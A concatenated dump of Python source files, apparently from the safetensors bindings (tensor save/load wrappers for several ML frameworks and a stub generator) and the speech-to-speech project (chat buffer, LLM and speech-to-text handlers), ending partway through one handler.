+    np_tensors = _jnp2np(tensors)
+    return numpy.save(np_tensors, metadata=metadata)
+
+def save_file(tensors: Dict[str, Array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
+    np_tensors = _jnp2np(tensors)
+    return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+def load(data: bytes) -> Dict[str, Array]:
+    flat = numpy.load(data)
+    return _np2jnp(flat)
+
+def load_file(filename: Union[str, os.PathLike]) -> Dict[str, Array]:
+    result = {}
+    with safe_open(filename, framework='flax') as f:
+        for k in f.keys():
+            result[k] = f.get_tensor(k)
+    return result
+
+def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]:
+    for (k, v) in numpy_dict.items():
+        numpy_dict[k] = jnp.array(v)
+    return numpy_dict
+
+def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]:
+    for (k, v) in jnp_dict.items():
+        jnp_dict[k] = np.asarray(v)
+    return jnp_dict
+
+# File: safetensors-main/bindings/python/py_src/safetensors/mlx.py
+import os
+from typing import Dict, Optional, Union
+import numpy as np
+import mlx.core as mx
+from safetensors import numpy, safe_open
+
+def save(tensors: Dict[str, mx.array], metadata: Optional[Dict[str, str]]=None) -> bytes:
+    np_tensors = _mx2np(tensors)
+    return numpy.save(np_tensors, metadata=metadata)
+
+def save_file(tensors: Dict[str, mx.array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
+    np_tensors = _mx2np(tensors)
+    return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+def load(data: bytes) -> Dict[str, mx.array]:
+    flat = numpy.load(data)
+    return _np2mx(flat)
+
+def load_file(filename: Union[str, os.PathLike]) -> Dict[str, mx.array]:
+    result = {}
+    with safe_open(filename, framework='mlx') as f:
+        for k in f.keys():
+            result[k] = f.get_tensor(k)
+    return result
+
+def _np2mx(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, mx.array]:
+    for (k, v) in numpy_dict.items():
+        numpy_dict[k] = mx.array(v)
+    return numpy_dict
+
+def _mx2np(mx_dict: Dict[str, mx.array]) -> Dict[str, np.array]:
+    new_dict = {}
+    for (k, v) in mx_dict.items():
+        new_dict[k] = np.asarray(v)
+    return new_dict
+
+# File: safetensors-main/bindings/python/py_src/safetensors/numpy.py
+import os
+import sys
+from typing import Dict, Optional, Union
+import numpy as np
+from safetensors import deserialize, safe_open, serialize, serialize_file
+
+def _tobytes(tensor: np.ndarray) -> bytes:
+    if not _is_little_endian(tensor):
+        tensor = tensor.byteswap(inplace=False)
+    return tensor.tobytes()
+
+def save(tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]]=None) -> bytes:
+    flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()}
+    serialized = serialize(flattened, metadata=metadata)
+    result = bytes(serialized)
+    return result
+
+def save_file(tensor_dict: Dict[str, np.ndarray], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
+    flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()}
+    serialize_file(flattened, filename, metadata=metadata)
+
+def load(data: bytes) -> Dict[str, np.ndarray]:
+    flat = deserialize(data)
+    return _view2np(flat)
+
+def load_file(filename: Union[str, os.PathLike]) -> Dict[str, np.ndarray]:
+    result = {}
+    with safe_open(filename, framework='np') as f:
+        for k in f.keys():
+            result[k] = f.get_tensor(k)
+    return result
+_TYPES = {'F64': np.float64, 'F32': np.float32, 'F16': np.float16, 'I64': np.int64, 'U64': np.uint64, 'I32': np.int32, 'U32': np.uint32, 'I16': np.int16, 'U16': np.uint16, 'I8': np.int8, 'U8': np.uint8, 'BOOL': bool}
+
+def _getdtype(dtype_str: str) -> np.dtype:
+    return _TYPES[dtype_str]
+
+def _view2np(safeview) -> Dict[str, np.ndarray]:
+    result = {}
+    for (k, v) in safeview:
+        dtype = _getdtype(v['dtype'])
+        arr = np.frombuffer(v['data'], dtype=dtype).reshape(v['shape'])
+        result[k] = arr
+    return result
+
+def _is_little_endian(tensor: np.ndarray) -> bool:
+    byteorder = tensor.dtype.byteorder
+    if byteorder == '=':
+        if sys.byteorder == 'little':
+            return True
+        else:
+            return False
+    elif byteorder == '|':
+        return True
+    elif byteorder == '<':
+        return True
+    elif byteorder == '>':
+        return False
+    raise ValueError(f'Unexpected byte order {byteorder}')
+
+# File: safetensors-main/bindings/python/py_src/safetensors/paddle.py
+import os
+from typing import Dict, Optional, Union
+import numpy as np
+import paddle
+from safetensors import numpy
+
+def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
+    np_tensors = _paddle2np(tensors)
+    return numpy.save(np_tensors, metadata=metadata)
+
+def save_file(tensors: Dict[str, paddle.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
+    np_tensors = _paddle2np(tensors)
+    return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+def load(data: bytes, device: str='cpu') -> Dict[str, paddle.Tensor]:
+    flat = numpy.load(data)
+    return _np2paddle(flat, device)
+
+def load_file(filename: Union[str, os.PathLike], device='cpu') -> Dict[str, paddle.Tensor]:
+    flat = numpy.load_file(filename)
+    output = _np2paddle(flat, device)
+    return output
+
+def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str='cpu') -> Dict[str, paddle.Tensor]:
+    for (k, v) in numpy_dict.items():
+        numpy_dict[k] = paddle.to_tensor(v, place=device)
+    return numpy_dict
+
+def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
+    for (k, v) in paddle_dict.items():
+        paddle_dict[k] = v.detach().cpu().numpy()
+    return paddle_dict
+
+# File: safetensors-main/bindings/python/py_src/safetensors/tensorflow.py
+import os
+from typing import Dict, Optional, Union
+import numpy as np
+import tensorflow as tf
+from safetensors import numpy, safe_open
+
+def save(tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
+    np_tensors = _tf2np(tensors)
+    return numpy.save(np_tensors, metadata=metadata)
+
+def save_file(tensors: Dict[str, tf.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
+    np_tensors = _tf2np(tensors)
+    return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+def load(data: bytes) -> Dict[str, tf.Tensor]:
+    flat = numpy.load(data)
+    return _np2tf(flat)
+
+def load_file(filename: Union[str, os.PathLike]) -> Dict[str, tf.Tensor]:
+    result = {}
+    with safe_open(filename, framework='tf') as f:
+        for k in f.keys():
+            result[k] = f.get_tensor(k)
+    return result
+
+def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]:
+    for (k, v) in numpy_dict.items():
+        numpy_dict[k] = tf.convert_to_tensor(v)
+    return numpy_dict
+
+def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]:
+    for (k, v) in tf_dict.items():
+        tf_dict[k] = v.numpy()
+    return tf_dict
+
+# File: safetensors-main/bindings/python/py_src/safetensors/torch.py
+import os
+import sys
+from collections import defaultdict
+from typing import Any, Dict, List, Optional, Set, Tuple, Union
+import torch
+from safetensors import deserialize, safe_open, serialize, serialize_file
+
+def storage_ptr(tensor: torch.Tensor) -> int:
+    try:
+        return tensor.untyped_storage().data_ptr()
+    except Exception:
+        try:
+            return tensor.storage().data_ptr()
+        except NotImplementedError:
+            return 0
+
+def _end_ptr(tensor: torch.Tensor) -> int:
+    if tensor.nelement():
+        stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype]
+    else:
+        stop = tensor.data_ptr()
+    return stop
+
+def storage_size(tensor: torch.Tensor) -> int:
+    try:
+        return tensor.untyped_storage().nbytes()
+    except AttributeError:
+        try:
+            return tensor.storage().size() * _SIZE[tensor.dtype]
+        except NotImplementedError:
+            return tensor.nelement() * _SIZE[tensor.dtype]
+
+def _filter_shared_not_shared(tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
+    filtered_tensors = []
+    for shared in tensors:
+        if len(shared) < 2:
+            filtered_tensors.append(shared)
+            continue
+        areas = []
+        for name in shared:
+            tensor = state_dict[name]
+            areas.append((tensor.data_ptr(), _end_ptr(tensor), name))
+        areas.sort()
+        (_, last_stop, last_name) = areas[0]
+        filtered_tensors.append({last_name})
+        for (start, stop, name) in areas[1:]:
+            if start >= last_stop:
+                filtered_tensors.append({name})
+            else:
+                filtered_tensors[-1].add(name)
+            last_stop = stop
+    return filtered_tensors
+
+def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
+    tensors = defaultdict(set)
+    for (k, v) in state_dict.items():
+        if v.device != torch.device('meta') and storage_ptr(v) != 0 and (storage_size(v) != 0):
+            tensors[v.device, storage_ptr(v), storage_size(v)].add(k)
+    tensors = list(sorted(tensors.values()))
+    tensors = _filter_shared_not_shared(tensors, state_dict)
+    return tensors
+
+def _is_complete(tensor: torch.Tensor) -> bool:
+    return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[tensor.dtype] == storage_size(tensor)
+
+def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: Optional[List[str]]=None, discard_names: Optional[List[str]]=None) -> Dict[str, List[str]]:
+    if preferred_names is None:
+        preferred_names = []
+    preferred_names = set(preferred_names)
+    if discard_names is None:
+        discard_names = []
+    discard_names = set(discard_names)
+    shareds = _find_shared_tensors(state_dict)
+    to_remove = defaultdict(list)
+    for shared in shareds:
+        complete_names = set([name for name in shared if _is_complete(state_dict[name])])
+        if not complete_names:
+            raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.')
+        keep_name = sorted(list(complete_names))[0]
+        preferred = complete_names.difference(discard_names)
+        if preferred:
+            keep_name = sorted(list(preferred))[0]
+        if preferred_names:
+            preferred = preferred_names.intersection(complete_names)
+            if preferred:
+                keep_name = sorted(list(preferred))[0]
+        for name in sorted(shared):
+            if name != keep_name:
+                to_remove[keep_name].append(name)
+    return to_remove
+
+def save_model(model: torch.nn.Module, filename: str, metadata: Optional[Dict[str, str]]=None, force_contiguous: bool=True):
+    state_dict = model.state_dict()
+    to_removes = _remove_duplicate_names(state_dict)
+    for (kept_name, to_remove_group) in to_removes.items():
+        for to_remove in to_remove_group:
+            if metadata is None:
+                metadata = {}
+            if to_remove not in metadata:
+                metadata[to_remove] = kept_name
+            del state_dict[to_remove]
+    if force_contiguous:
+        state_dict = {k: v.contiguous() for (k, v) in state_dict.items()}
+    try:
+        save_file(state_dict, filename, metadata=metadata)
+    except ValueError as e:
+        msg = str(e)
+        msg += ' Or use save_model(..., force_contiguous=True), read the docs for potential caveats.'
+        raise ValueError(msg)
+
+def load_model(model: torch.nn.Module, filename: Union[str, os.PathLike], strict: bool=True, device: Union[str, int]='cpu') -> Tuple[List[str], List[str]]:
+    state_dict = load_file(filename, device=device)
+    model_state_dict = model.state_dict()
+    to_removes = _remove_duplicate_names(model_state_dict, preferred_names=state_dict.keys())
+    (missing, unexpected) = model.load_state_dict(state_dict, strict=False)
+    missing = set(missing)
+    for to_remove_group in to_removes.values():
+        for to_remove in to_remove_group:
+            if to_remove not in missing:
+                unexpected.append(to_remove)
+            else:
+                missing.remove(to_remove)
+    if strict and (missing or unexpected):
+        missing_keys = ', '.join([f'"{k}"' for k in sorted(missing)])
+        unexpected_keys = ', '.join([f'"{k}"' for k in sorted(unexpected)])
+        error = f'Error(s) in loading state_dict for {model.__class__.__name__}:'
+        if missing:
+            error += f'\n    Missing key(s) in state_dict: {missing_keys}'
+        if unexpected:
+            error += f'\n    Unexpected key(s) in state_dict: {unexpected_keys}'
+        raise RuntimeError(error)
+    return (missing, unexpected)
+
+def save(tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
+    serialized = serialize(_flatten(tensors), metadata=metadata)
+    result = bytes(serialized)
+    return result
+
+def save_file(tensors: Dict[str, torch.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None):
+    serialize_file(_flatten(tensors), filename, metadata=metadata)
+
+def load_file(filename: Union[str, os.PathLike], device: Union[str, int]='cpu') -> Dict[str, torch.Tensor]:
+    result = {}
+    with safe_open(filename, framework='pt', device=device) as f:
+        for k in f.keys():
+            result[k] = f.get_tensor(k)
+    return result
+
+def load(data: bytes) -> Dict[str, torch.Tensor]:
+    flat = deserialize(data)
+    return _view2torch(flat)
+_float8_e4m3fn = getattr(torch, 'float8_e4m3fn', None)
+_float8_e5m2 = getattr(torch, 'float8_e5m2', None)
+_SIZE = {torch.int64: 8, torch.float32: 4, torch.int32: 4, torch.bfloat16: 2, torch.float16: 2, torch.int16: 2, torch.uint8: 1, torch.int8: 1, torch.bool: 1, torch.float64: 8, _float8_e4m3fn: 1, _float8_e5m2: 1}
+_TYPES = {'F64': torch.float64, 'F32': torch.float32, 'F16': torch.float16, 'BF16': torch.bfloat16, 'I64': torch.int64, 'I32': torch.int32, 'I16': torch.int16, 'I8': torch.int8, 'U8': torch.uint8, 'BOOL': torch.bool, 'F8_E4M3': _float8_e4m3fn, 'F8_E5M2': _float8_e5m2}
+
+def _getdtype(dtype_str: str) -> torch.dtype:
+    return _TYPES[dtype_str]
+
+def _view2torch(safeview) -> Dict[str, torch.Tensor]:
+    result = {}
+    for (k, v) in safeview:
+        dtype = _getdtype(v['dtype'])
+        if len(v['data']) == 0:
+            assert any((x == 0 for x in v['shape']))
+            arr = torch.empty(v['shape'], dtype=dtype)
+        else:
+            arr = torch.frombuffer(v['data'], dtype=dtype).reshape(v['shape'])
+        if sys.byteorder == 'big':
+            arr = torch.from_numpy(arr.numpy().byteswap(inplace=False))
+        result[k] = arr
+    return result
+
+def _tobytes(tensor: torch.Tensor, name: str) -> bytes:
+    if tensor.layout != torch.strided:
+        raise ValueError(f'You are trying to save a sparse tensor: `{name}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.')
+    if not tensor.is_contiguous():
+        raise ValueError(f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you are trying to save tensors which are reference of each other in which case it's recommended to save only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to pack it before saving.")
+    if tensor.device.type != 'cpu':
+        tensor = tensor.to('cpu')
+    import ctypes
+    import numpy as np
+    length = int(np.prod(tensor.shape).item())
+    bytes_per_item = _SIZE[tensor.dtype]
+    total_bytes = length * bytes_per_item
+    ptr = tensor.data_ptr()
+    if ptr == 0:
+        return b''
+    newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte))
+    data = np.ctypeslib.as_array(newptr, (total_bytes,))
+    if sys.byteorder == 'big':
+        NPDTYPES = {torch.int64: np.int64, torch.float32: np.float32, torch.int32: np.int32, torch.bfloat16: np.float16, torch.float16: np.float16, torch.int16: np.int16, torch.uint8: np.uint8, torch.int8: np.int8, torch.bool: bool, torch.float64: np.float64, _float8_e4m3fn: np.uint8, _float8_e5m2: np.uint8}
+        npdtype = NPDTYPES[tensor.dtype]
+        data = data.view(npdtype).byteswap(inplace=False)
+    return data.tobytes()
+
+def _flatten(tensors: Dict[str, torch.Tensor]) -> Dict[str, Dict[str, Any]]:
+    if not isinstance(tensors, dict):
+        raise ValueError(f'Expected a dict of [str, torch.Tensor] but received {type(tensors)}')
+    invalid_tensors = []
+    for (k, v) in tensors.items():
+        if not isinstance(v, torch.Tensor):
+            raise ValueError(f'Key `{k}` is invalid, expected torch.Tensor but received {type(v)}')
+        if v.layout != torch.strided:
+            invalid_tensors.append(k)
+    if invalid_tensors:
+        raise ValueError(f'You are trying to save a sparse tensors: `{invalid_tensors}` which this library does not support. You can make it a dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than needed.')
+    shared_pointers = _find_shared_tensors(tensors)
+    failing = []
+    for names in shared_pointers:
+        if len(names) > 1:
+            failing.append(names)
+    if failing:
+        raise RuntimeError(f'\n            Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}.\n            A potential way to correctly save your model is to use `save_model`.\n            More information at https://huggingface.co/docs/safetensors/torch_shared_tensors\n            ')
+    return {k: {'dtype': str(v.dtype).split('.')[-1], 'shape': v.shape, 'data': _tobytes(v, k)} for (k, v) in tensors.items()}
+
+# File: safetensors-main/bindings/python/stub.py
+import argparse
+import inspect
+import os
+import black
+INDENT = ' ' * 4
+GENERATED_COMMENT = '# Generated content DO NOT EDIT\n'
+
+def do_indent(text: str, indent: str):
+    return text.replace('\n', f'\n{indent}')
+
+def function(obj, indent, text_signature=None):
+    if text_signature is None:
+        text_signature = obj.__text_signature__
+    string = ''
+    string += f'{indent}def {obj.__name__}{text_signature}:\n'
+    indent += INDENT
+    string += f'{indent}"""\n'
+    string += f'{indent}{do_indent(obj.__doc__, indent)}\n'
+    string += f'{indent}"""\n'
+    string += f'{indent}pass\n'
+    string += '\n'
+    string += '\n'
+    return string
+
+def member_sort(member):
+    if inspect.isclass(member):
+        value = 10 + len(inspect.getmro(member))
+    else:
+        value = 1
+    return value
+
+def fn_predicate(obj):
+    value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj)
+    if value:
+        return obj.__doc__ and obj.__text_signature__ and (not obj.__name__.startswith('_'))
+    if inspect.isgetsetdescriptor(obj):
+        return obj.__doc__ and (not obj.__name__.startswith('_'))
+    return False
+
+def get_module_members(module):
+    members = [member for (name, member) in inspect.getmembers(module) if not name.startswith('_') and (not inspect.ismodule(member))]
+    members.sort(key=member_sort)
+    return members
+
+def pyi_file(obj, indent=''):
+    string = ''
+    if inspect.ismodule(obj):
+        string += GENERATED_COMMENT
+        members = get_module_members(obj)
+        for member in members:
+            string += pyi_file(member, indent)
+    elif inspect.isclass(obj):
+        indent += INDENT
+        mro = inspect.getmro(obj)
+        if len(mro) > 2:
+            inherit = f'({mro[1].__name__})'
+        else:
+            inherit = ''
+        string += f'class {obj.__name__}{inherit}:\n'
+        body = ''
+        if obj.__doc__:
+            body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n'
+        fns = inspect.getmembers(obj, fn_predicate)
+        if obj.__text_signature__:
+            body += f'{indent}def __init__{obj.__text_signature__}:\n'
+            body += f'{indent + INDENT}pass\n'
+            body += '\n'
+        for (name, fn) in fns:
+            body += pyi_file(fn, indent=indent)
+        if not body:
+            body += f'{indent}pass\n'
+        string += body
+        string += '\n\n'
+    elif inspect.isbuiltin(obj):
+        string += f'{indent}@staticmethod\n'
+        string += function(obj, indent)
+    elif inspect.ismethoddescriptor(obj):
+        string += function(obj, indent)
+    elif inspect.isgetsetdescriptor(obj):
+        string += f'{indent}@property\n'
+        string += function(obj, indent, text_signature='(self)')
+    else:
+        raise Exception(f'Object {obj} is not supported')
+    return string
+
+def py_file(module, origin):
+    members = get_module_members(module)
+    string = GENERATED_COMMENT
+    string += f'from .. import {origin}\n'
+    string += '\n'
+    for member in members:
+        name = member.__name__
+        string += f'{name} = {origin}.{name}\n'
+    return string
+
+def do_black(content, is_pyi):
+    mode = black.Mode(target_versions={black.TargetVersion.PY35}, line_length=119, is_pyi=is_pyi, string_normalization=True, experimental_string_processing=False)
+    try:
+        return black.format_file_contents(content, fast=True, mode=mode)
+    except black.NothingChanged:
+        return content
+
+def write(module, directory, origin, check=False):
+    submodules = [(name, member) for (name, member) in inspect.getmembers(module) if inspect.ismodule(member)]
+    filename = os.path.join(directory, '__init__.pyi')
+    pyi_content = pyi_file(module)
+    pyi_content = do_black(pyi_content, is_pyi=True)
+    os.makedirs(directory, exist_ok=True)
+    if check:
+        with open(filename, 'r') as f:
+            data = f.read()
+            assert data == pyi_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+    else:
+        with open(filename, 'w') as f:
+            f.write(pyi_content)
+    filename = os.path.join(directory, '__init__.py')
+    py_content = py_file(module, origin)
+    py_content = do_black(py_content, is_pyi=False)
+    os.makedirs(directory, exist_ok=True)
+    is_auto = False
+    if not os.path.exists(filename):
+        is_auto = True
+    else:
+        with open(filename, 'r') as f:
+            line = f.readline()
+            if line == GENERATED_COMMENT:
+                is_auto = True
+    if is_auto:
+        if check:
+            with open(filename, 'r') as f:
+                data = f.read()
+                assert data == py_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+        else:
+            with open(filename, 'w') as f:
+                f.write(py_content)
+    for (name, submodule) in submodules:
+        write(submodule, os.path.join(directory, name), f'{name}', check=check)
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--check', action='store_true')
+    args = parser.parse_args()
+    import safetensors
+    write(safetensors.safetensors_rust, 'py_src/safetensors/', 'safetensors', check=args.check)
+

huggingface_speech-to-speech.txt

@@ -0,0 +1,1208 @@
+# File: speech-to-speech-main/LLM/chat.py
+class Chat:
+
+    def __init__(self, size):
+        self.size = size
+        self.init_chat_message = None
+        self.buffer = []
+
+    def append(self, item):
+        self.buffer.append(item)
+        if len(self.buffer) == 2 * (self.size + 1):
+            self.buffer.pop(0)
+            self.buffer.pop(0)
+
+    def init_chat(self, init_chat_message):
+        self.init_chat_message = init_chat_message
+
+    def to_list(self):
+        if self.init_chat_message:
+            return [self.init_chat_message] + self.buffer
+        else:
+            return self.buffer
+
+# File: speech-to-speech-main/LLM/language_model.py
+from threading import Thread
+from transformers import AutoModelForCausalLM, AutoTokenizer, pipeline, TextIteratorStreamer
+import torch
+from LLM.chat import Chat
+from baseHandler import BaseHandler
+from rich.console import Console
+import logging
+from nltk import sent_tokenize
+logger = logging.getLogger(__name__)
+console = Console()
+WHISPER_LANGUAGE_TO_LLM_LANGUAGE = {'en': 'english', 'fr': 'french', 'es': 'spanish', 'zh': 'chinese', 'ja': 'japanese', 'ko': 'korean'}
+
+class LanguageModelHandler(BaseHandler):
+
+    def setup(self, model_name='microsoft/Phi-3-mini-4k-instruct', device='cuda', torch_dtype='float16', gen_kwargs={}, user_role='user', chat_size=1, init_chat_role=None, init_chat_prompt='You are a helpful AI assistant.'):
+        self.device = device
+        self.torch_dtype = getattr(torch, torch_dtype)
+        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
+        self.model = AutoModelForCausalLM.from_pretrained(model_name, torch_dtype=torch_dtype, trust_remote_code=True).to(device)
+        self.pipe = pipeline('text-generation', model=self.model, tokenizer=self.tokenizer, device=device)
+        self.streamer = TextIteratorStreamer(self.tokenizer, skip_prompt=True, skip_special_tokens=True)
+        self.gen_kwargs = {'streamer': self.streamer, 'return_full_text': False, **gen_kwargs}
+        self.chat = Chat(chat_size)
+        if init_chat_role:
+            if not init_chat_prompt:
+                raise ValueError('An initial promt needs to be specified when setting init_chat_role.')
+            self.chat.init_chat({'role': init_chat_role, 'content': init_chat_prompt})
+        self.user_role = user_role
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        dummy_input_text = "Repeat the word 'home'."
+        dummy_chat = [{'role': self.user_role, 'content': dummy_input_text}]
+        warmup_gen_kwargs = {'min_new_tokens': self.gen_kwargs['min_new_tokens'], 'max_new_tokens': self.gen_kwargs['max_new_tokens'], **self.gen_kwargs}
+        n_steps = 2
+        if self.device == 'cuda':
+            start_event = torch.cuda.Event(enable_timing=True)
+            end_event = torch.cuda.Event(enable_timing=True)
+            torch.cuda.synchronize()
+            start_event.record()
+        for _ in range(n_steps):
+            thread = Thread(target=self.pipe, args=(dummy_chat,), kwargs=warmup_gen_kwargs)
+            thread.start()
+            for _ in self.streamer:
+                pass
+        if self.device == 'cuda':
+            end_event.record()
+            torch.cuda.synchronize()
+            logger.info(f'{self.__class__.__name__}:  warmed up! time: {start_event.elapsed_time(end_event) * 0.001:.3f} s')
+
+    def process(self, prompt):
+        logger.debug('infering language model...')
+        language_code = None
+        if isinstance(prompt, tuple):
+            (prompt, language_code) = prompt
+            prompt = f'Please reply to my message in {WHISPER_LANGUAGE_TO_LLM_LANGUAGE[language_code]}. ' + prompt
+        self.chat.append({'role': self.user_role, 'content': prompt})
+        thread = Thread(target=self.pipe, args=(self.chat.to_list(),), kwargs=self.gen_kwargs)
+        thread.start()
+        if self.device == 'mps':
+            generated_text = ''
+            for new_text in self.streamer:
+                generated_text += new_text
+            printable_text = generated_text
+            torch.mps.empty_cache()
+        else:
+            (generated_text, printable_text) = ('', '')
+            for new_text in self.streamer:
+                generated_text += new_text
+                printable_text += new_text
+                sentences = sent_tokenize(printable_text)
+                if len(sentences) > 1:
+                    yield (sentences[0], language_code)
+                    printable_text = new_text
+        self.chat.append({'role': 'assistant', 'content': generated_text})
+        yield (printable_text, language_code)
+
+# File: speech-to-speech-main/LLM/mlx_language_model.py
+import logging
+from LLM.chat import Chat
+from baseHandler import BaseHandler
+from mlx_lm import load, stream_generate, generate
+from rich.console import Console
+import torch
+logger = logging.getLogger(__name__)
+console = Console()
+WHISPER_LANGUAGE_TO_LLM_LANGUAGE = {'en': 'english', 'fr': 'french', 'es': 'spanish', 'zh': 'chinese', 'ja': 'japanese', 'ko': 'korean'}
+
+class MLXLanguageModelHandler(BaseHandler):
+
+    def setup(self, model_name='microsoft/Phi-3-mini-4k-instruct', device='mps', torch_dtype='float16', gen_kwargs={}, user_role='user', chat_size=1, init_chat_role=None, init_chat_prompt='You are a helpful AI assistant.'):
+        self.model_name = model_name
+        (self.model, self.tokenizer) = load(self.model_name)
+        self.gen_kwargs = gen_kwargs
+        self.chat = Chat(chat_size)
+        if init_chat_role:
+            if not init_chat_prompt:
+                raise ValueError('An initial promt needs to be specified when setting init_chat_role.')
+            self.chat.init_chat({'role': init_chat_role, 'content': init_chat_prompt})
+        self.user_role = user_role
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        dummy_input_text = 'Write me a poem about Machine Learning.'
+        dummy_chat = [{'role': self.user_role, 'content': dummy_input_text}]
+        n_steps = 2
+        for _ in range(n_steps):
+            prompt = self.tokenizer.apply_chat_template(dummy_chat, tokenize=False)
+            generate(self.model, self.tokenizer, prompt=prompt, max_tokens=self.gen_kwargs['max_new_tokens'], verbose=False)
+
+    def process(self, prompt):
+        logger.debug('infering language model...')
+        language_code = None
+        if isinstance(prompt, tuple):
+            (prompt, language_code) = prompt
+            prompt = f'Please reply to my message in {WHISPER_LANGUAGE_TO_LLM_LANGUAGE[language_code]}. ' + prompt
+        self.chat.append({'role': self.user_role, 'content': prompt})
+        if 'gemma' in self.model_name.lower():
+            chat_messages = [msg for msg in self.chat.to_list() if msg['role'] != 'system']
+        else:
+            chat_messages = self.chat.to_list()
+        prompt = self.tokenizer.apply_chat_template(chat_messages, tokenize=False, add_generation_prompt=True)
+        output = ''
+        curr_output = ''
+        for t in stream_generate(self.model, self.tokenizer, prompt, max_tokens=self.gen_kwargs['max_new_tokens']):
+            output += t
+            curr_output += t
+            if curr_output.endswith(('.', '?', '!', '<|end|>')):
+                yield (curr_output.replace('<|end|>', ''), language_code)
+                curr_output = ''
+        generated_text = output.replace('<|end|>', '')
+        torch.mps.empty_cache()
+        self.chat.append({'role': 'assistant', 'content': generated_text})
+
+# File: speech-to-speech-main/STT/lightning_whisper_mlx_handler.py
+import logging
+from time import perf_counter
+from baseHandler import BaseHandler
+from lightning_whisper_mlx import LightningWhisperMLX
+import numpy as np
+from rich.console import Console
+from copy import copy
+import torch
+logger = logging.getLogger(__name__)
+console = Console()
+SUPPORTED_LANGUAGES = ['en', 'fr', 'es', 'zh', 'ja', 'ko']
+
+class LightningWhisperSTTHandler(BaseHandler):
+
+    def setup(self, model_name='distil-large-v3', device='mps', torch_dtype='float16', compile_mode=None, language=None, gen_kwargs={}):
+        if len(model_name.split('/')) > 1:
+            model_name = model_name.split('/')[-1]
+        self.device = device
+        self.model = LightningWhisperMLX(model=model_name, batch_size=6, quant=None)
+        self.start_language = language
+        self.last_language = language
+        self.warmup()
+
+    def warmup(self):
+        logger.info(f'Warming up {self.__class__.__name__}')
+        n_steps = 1
+        dummy_input = np.array([0] * 512)
+        for _ in range(n_steps):
+            _ = self.model.transcribe(dummy_input)['text'].strip()
+
+    def process(self, spoken_prompt):
+        logger.debug('infering whisper...')
+        global pipeline_start
+        pipeline_start = perf_counter()
+        if self.start_language != 'auto':
+            transcription_dict = self.model.transcribe(spoken_prompt, language=self.start_language)
+        else:
+            transcription_dict = self.model.transcribe(spoken_prompt)
+            language_code = transcription_dict['language']
+            if language_code not in SUPPORTED_LANGUAGES:
+                logger.warning(f'Whisper detected unsupported language: {language_code}')
+                if self.last_language in SUPPORTED_LANGUAGES:
+                    transcription_dict = self.model.transcribe(spoken_prompt, language=self.last_language)
+                else:
+                    transcription_dict = {'text': '', 'language': 'en'}
+            else:
+                self.last_language = language_code
+        pred_text = transcription_dict['text'].strip()
+        language_code = transcription_dict['language']
+        torch.mps.empty_cache()
+        logger.debug('finished whisper inference')
+        console.print(f'[yellow]USER: {pred_text}')
+        logger.debug(f'Language Code Whisper: {language_code}')
+        yield (pred_text, language_code)
+
+# File: speech-to-speech-main/STT/paraformer_handler.py
+import logging
+from time import perf_counter
+from baseHandler import BaseHandler
+from funasr import AutoModel
+import numpy as np
+from rich.console import Console
+import torch
+logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+logger = logging.getLogger(__name__)
+console = Console()
+
+class ParaformerSTTHandler(BaseHandler):
+
+    def setup(self, model_name='paraformer-zh', device='cuda', gen_kwargs={}):
+        print(model_name)
+        if len(model_name.split('/')) > 1:
+            model_name = model_name.split('/')[-1]
+        self.device = device
